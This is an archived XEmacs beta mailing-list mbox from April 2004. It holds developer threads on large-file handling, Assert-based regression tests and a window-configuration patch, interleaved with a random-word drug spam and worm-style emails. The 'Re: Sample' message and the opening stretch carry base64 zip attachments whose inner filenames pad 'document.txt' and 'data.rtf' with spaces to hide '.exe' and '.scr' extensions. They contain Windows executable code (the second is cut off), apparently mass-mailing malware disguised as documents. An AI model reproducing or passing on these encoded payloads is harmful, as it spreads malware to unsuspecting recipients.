58vJQTIHOY6sKuQ34VtFmCvhzg3ZniXuxCAQmIxx7UjNFvFPMez/ouKjRglvF/niJ+7/pgw8 9B61Rx5LezvHl2BWAl8zz3Dr0pez82zf3z1PJOnue3Ww+3TFQWhrDb0M1TbOf7IfHscFvgsZ jEVIC+QAYUza1F9rHNUvCWZzf285H7+IZSnG0DeWx3IQkcHPCSJRWOIIXV1Wb3yM4fvvddxB S7NB0pG9z/fSfMbqWgf4/A51MaZdXXAMjcE38YeU2T5GovewHzM4w2N1ZWyD2+1KvXZ7oJtL eP2kf3zxND0aqUp2o5smmLyaks6SkjNm87BhypqU4zft9M86g7nVcj2pzzWuKikDZhxJBH3F xHLXi0SmreYCjqkXWOCyrP88RlCSgCDbV0jJ8pg9SjEhJGh+kVJVdI2tGY/fa1Chr8Ozzqm1 WPx1z+68YMVwa0SB3TJ1e3iG9J/B52LsdMxgrSGfMrMc+xvyNms2eMd3Dg8XROY9sDOic0Cr B+DpgDIMkekBxn5wCB2C3TOn1KQCdMLnqjG5HLUssEB7hqFdml3LAN4WlcKOgMn3waWeHpoS p/embU3zJGMKueMUcrJatTlpOqvqk6kkgDyHJRIwBDCrPopR5+aJ5mgVrz35M8M08gOfdGCu cc98FJpLqarHy31pGXgccj/NYw6h3y5ig8BUWUXD+exj8GWClSjVlrKJefEx90NEMMsjb/OD nzeQSf6yDEtykrJSqINTCQtMrCNkQ0Df9dA30nWDRHjYPqkOb5o1N4rUL1NGFYr00+N+/sUV lG9sPIzAsrQ0NAqVKb1+JnMtvJo5uUY4U5+OJrjBECafIkJ5HHl3Ivn9A8Tz2V2WkEySMxzA 7evdn0/cK9WEfXTxhOLbatBd4zPCvqstN0RHgh1cWeqU5PrYTXB1TXqDqKjQko0Kt/NqsE3a +ICuhsXhc7zX0Hh1kjHj1NxiYVp+FrNdzWFqtosP7rsIOsVtjBwS8vkhXEWtQJEspoxLaukG UTYktmHtkvotBB8do0DNK3EpVgTJvBOwYWAc8r8bsSCzBtgxJf5IGBCdhlHPaE65mEo0okZC iydbWIa9RdWdC+CzMvw9U3USom6F/dFO2GyNPtwjWz/eTYb8LBRlAHZw4Cd6PDFS4Y/oX2NJ Mlky7Frrlq6QG9TM6jVVIKgEBPa8SPgcimVTOOz9ulx5iPbgBzuqa24+NUmP6UoJlfvfRHuE JMDP85S1tULgZC59evaaq4+BfJwZbX4BVPa1OF8HJTa1Voitva9LkN6A2mf3zx1g/h5C+ljj vrNpDY6ra+DD0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTy jHIR9st5GLGFXFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B1 9CUGyQTT2lST/0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6 mKRSPsfGf/9STGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4e fgyMwXhFdbVClybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4 Iw6qEAjBiWYcF9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC 9zv5ThE1c+hq9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uO EwYY0NJ75CnOtudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAAB AAQA6AIAAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBo V1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIi I0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiI RElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlU UlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNE RERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiI iIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJS IiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRC d3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERE RERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIi IiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzo MEABacD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAo i/BoyMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyK NAiIg/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwI fXgEii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs 4PtOjNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0 YTAJamXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2 dSLGAxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQ CXQkEENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTN MGJKnwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1 +GVy9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDO EQQN6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIH QQIGEwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4Bc eMBUB7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZu Fb6/KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFw eUlSm+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5U UJNDz+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAA9JmZ MKOIHd6AcwAAgHMAAFcAAAAAAAAAAAAgAAAAAAAAAGRhdGEucnRmICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLnNjclBLBQYAAAAAAQABAIUAAAD1cwAAAAA= ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Sun Apr 25 22:51:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3Q2p9s26704; Sun, 25 Apr 2004 22:51:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3Q2ogu26191 for xemacs-beta-mailman@xemacs.org; Sun, 25 Apr 2004 22:50:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3Q2ofx26176 for turnbull@tux.org; Sun, 25 Apr 2004 22:50:41 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3Q2oUs26015; Sun, 25 Apr 2004 22:50:30 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BHwCP-0008Sr-00; Mon, 26 Apr 2004 11:50:25 +0900 To: Hrvoje Niksic Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <878ygnm8yh.fsf@tleepslib.sk.tsukuba.ac.jp> <87ekqelucj.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 26 Apr 2004 11:50:25 +0900 In-Reply-To: (Hrvoje Niksic's message of "Sat, 24 Apr 2004 12:12:13 +0200") Message-ID: <87hdv7jvv2.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> "Stephen J. Turnbull" writes: >> It's not something that needs to be done all at once like doing >> it internally would. The initial implementation could just >> split the file into (say) half-gig chunks, then load the first >> one into the buffer, pop up a warning explaining why the buffer >> looks like the file was truncated, Hrvoje> That's just sloppy. Other editors do it much better. *shrug* They do lots of things better, like font-lock.[1] That doesn't stop us from doing a butt-ugly but usable job of it. I don't really care; I'd rather have 31-bit characters but you vetoed *that* because you didn't want to halve the size of the biggest buffer. I'm just pointing out that we can provide assistance to people who occasionally need to work with really big files without screwing at all with internals. Footnotes: [1] I think I'm going to be able to do something quite dramatic about that within a week. Yay! Of course, lots of work will remain to be done in adapting existing modes, but on the other hand it will be _much_ easier to add new keywords or whole font-lock modes. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Sun Apr 25 23:20:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3Q3K4s24218; Sun, 25 Apr 2004 23:20:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3Q3JtH24050 for xemacs-beta-mailman@xemacs.org; Sun, 25 Apr 2004 23:19:55 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3Q3Jq523988 for turnbull@tux.org; Sun, 25 Apr 2004 23:19:52 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3Q3Jns23914; Sun, 25 Apr 2004 23:19:49 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BHweq-00009X-00; Mon, 26 Apr 2004 12:19:48 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Bad test? References: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 26 Apr 2004 12:19:48 +0900 In-Reply-To: (Jerry James's message of "Fri, 23 Apr 2004 11:06:25 -0500") Message-ID: <87d65vjui3.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> I'm sure it's not, in general at least. Is that a challenge? Too bad, I have better things to do, but it sounds like fun. Jerry> What I had in mind is something like this: Jerry> (defmacro Assert (assertion &optional failing-case) Obvious, correct, and useful---but mostly will involve locking barn doors after the cow elopes with the boar. :-( Let's do it and document it, though. Jerry> In short, there is no technical reason why (- (random) Jerry> (random)) is better than just plain (random). Bzzt: >>>>> "Jerry" == Jerry James writes: Jerry> Shoot; (random) chooses one fixnum with equal probability, Jerry> and (random N) chooses a number from 0 to N-1 with equal Jerry> probability. That's too bad; I'd like to be able to say Jerry> something like Jerry> (random (1+ most-negative-fixnum) (1- Jerry> most-positive-fixnum)) Jerry> and have it give me a number in that range. Tee hee! Of course getting uniform over that range is hard, but isn't that exactly the point of the subtraction? >> I need to change the internals documentation on regression >> testing, which currently recommends use of `eq' (then you get >> an Assert failure, and know what broke, where otherwise you get >> a "misc unexpected failure"), to recommend eql. (This is not >> provable, it's a heuristic for many functions which return >> position-or-nil, the Assert failure is more informative in >> those cases.) Jerry> I don't understand. Would my suggested change to Assert Jerry> help at all? I don't know, it's heuristic. The problem is that something like (mapcar (lambda (x) (Assert (= (match-string "the" (car x)) (cdr x)))) '(("the" . 0) ("other" . 1) ("three" . 0))) ; typo for "there" will signal wrong-type-argument for =, implying that match-string is badly broken when actually it just returned nil as it should. I've actually been bitten by this case, dumb, yes, but I don't think I would have missed the point if I'd gotten an assertion failure instead of an apparent "new internal error" introduced by my patch to the regexp code. At least that's what I thought at the time. :-) Based on Martin's and others' practice of using eq for this kind of case, I'm guessing that they also found it useful to get an Assertion failure for expected types rather than some random "other failure", while the converse case caused less confusion. However, this does make it obvious that we need to add the `failing-case' data to the "other failure" arm in your suggested code. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From kslwgftsv@earthlink.net Mon Apr 26 00:57:23 2004 Received: from CPE0080c6fd9501-CM.cpe.net.cable.rogers.com (CPE0080c6fd9501-CM.cpe.net.cable.rogers.com [24.114.171.127]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3Q4vJs31529 for ; Mon, 26 Apr 2004 00:57:20 -0400 Received: from 194.50.76.148 by 24.114.171.127; Sun, 25 Apr 2004 22:53:19 -0700 Message-ID: From: "Elsa Campos" Reply-To: "Elsa Campos" To: xemacs-beta-archive@xemacs.org Subject: Compare Xanax Prices Online Date: Mon, 26 Apr 2004 01:53:19 -0400 X-Mailer: AOL 7.0 for Windows US sub 118 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--85390968954049212" X-Priority: 3 X-MSMail-Priority: Normal ----85390968954049212 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable


Wemily zanzibar communicant chit benight bole acquiescent chairman kat= ie brighton drown writeup picturesque scrutable demon lampblack james lenn= ox penny revise riley wham cornflower duma pizzicato=20.Jdonald loincloth = yogi ratepayer lemma arbitrate ito frazzle lent humanoid gooseberry liquef= action drip briefcase chocolate klein newsman pushout bilinear carbonium h= op armco advertise provoke arrhenius fiendish abduct string=20.Prob liturg= y calligraphy antares spinoff perk grantee accuracy workload destitute tin= ker appropriable condone nut scott obscene veal dibble sturbridge apostate= bondsman bidirectional impotent convex crook=20!Oinaugural highest swallo= w chomsky hitler herpetology thicket ohm suggest phosphoric fun inertial a= mbrosia lanthanum fight patsy lase kiwi preference heat afire=20?Dpbs butt= erfield bolton shrew tori contrite source conquer shoulder collegial kyoto= healthy vinyl boca panama piedmont deflate insight strung exculpatory est= her avail mississippi=20,Pdicotyledon amidst crosswise desideratum fibrati= on raw actinium birdbath locus=20'Wclamshell amoral mynah purcell log opac= ity sedate harm vatican omnibus zigzag parliament gibby contemporary wiggi= ns glycerine=20'Otnt diatom mesenteric anderson fest anti synonymous zound= s siderite dr lunchtime annular bowman herd law endemic boot screw=20.Nkid= de nationwide aau regiment nepal appendices unicorn pakistan cuny=20,Ltecu= m wang workplace elliptic nepenthe revise flame bungle itch hudson=20.Aash= draftsman launder mescaline limp perform trinity hygiene postal biometrik= a glaucous cadre ponce binocular amphibian sigmund starfish augment distor= tion=20?Qsaltbush systemization pork tweedy deep caldera breath paleolithi= c carolyn hydronium lobar diagonal eclectic mysterious=20.

----85390968954049212-- From xemacs-beta-admin@xemacs.org Mon Apr 26 10:19:26 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QEJ8s09937; Mon, 26 Apr 2004 10:19:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QEJ0C09782 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 10:19:00 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QEIwD09724 for turnbull@tux.org; Mon, 26 Apr 2004 10:18:58 -0400 Received: from mx6.informatik.uni-tuebingen.de (mx6.Informatik.Uni-Tuebingen.De [134.2.12.39]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QEIvs09715; Mon, 26 Apr 2004 10:18:57 -0400 Received: from localhost (loopback [127.0.0.1]) by mx6.informatik.uni-tuebingen.de (Postfix) with ESMTP id 17B29379; Mon, 26 Apr 2004 01:40:48 +0200 (MST) Received: from mx6.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx6 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23834-02; Mon, 26 Apr 2004 01:40:46 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx6.informatik.uni-tuebingen.de (Postfix) with ESMTP id 68CB7388D; Sat, 24 Apr 2004 11:56:59 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i3O9tiET061948; Sat, 24 Apr 2004 11:55:44 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i3O9thHt061947; Sat, 24 Apr 2004 11:55:43 +0200 (CEST) To: Yoshiaki Kasahara Cc: xemacs-beta@xemacs.org, xemacs-patches@xemacs.org Subject: [VETO] current/set-window-configuration References: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> <20040423.145325.847007131.kasahara@nc.kyushu-u.ac.jp> From: Michael Sperber Date: Sat, 24 Apr 2004 11:55:43 +0200 In-Reply-To: <20040423.145325.847007131.kasahara@nc.kyushu-u.ac.jp> (Yoshiaki Kasahara's message of "Fri, 23 Apr 2004 14:53:25 +0900 (JST)") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "YK" == Yoshiaki Kasahara writes: YK> On Fri, 02 Apr 2004 11:21:54 +0900 (JST), YK> Yoshiaki Kasahara said: >> It seems that current 21.5-beta remembers the cursor position (point) >> of the current buffer with the configuration and restores it by >> set-window-configuration. The cursor is moved to an unexpected point >> and sometimes it causes a problem with some software. YK> I noticed the function 'restore-saved-window-parameters' YK> unconditionally restore the cursor position using 'set-window-point' YK> function before checking whether the target window contains the YK> current buffer. That's not really an accurate description of what happens. If you look in `really-set-window-configuration', you'll see that it makes the *minibuffer* the current buffer exactly to avoid the effect you're describing. I'd rather fix the real underlying problem (which I haven't quite figured out yet) than add kludge upon kludge. I know it's been a while you've reported this problem---I'll see to it that it gets fixed in the near future. -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From mvogel@bsd.k12.de.us Mon Apr 26 12:58:27 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QGwPs29693 for ; Mon, 26 Apr 2004 12:58:25 -0400 Message-Id: <200404261658.i3QGwPs29693@gwyn.tux.org> From: mvogel@bsd.k12.de.us To: xemacs-beta-archive@xemacs.org Subject: Re: Sample Date: Mon, 26 Apr 2004 12:43:51 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit I have attached the sample. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="doc01.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="doc01.zip" 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 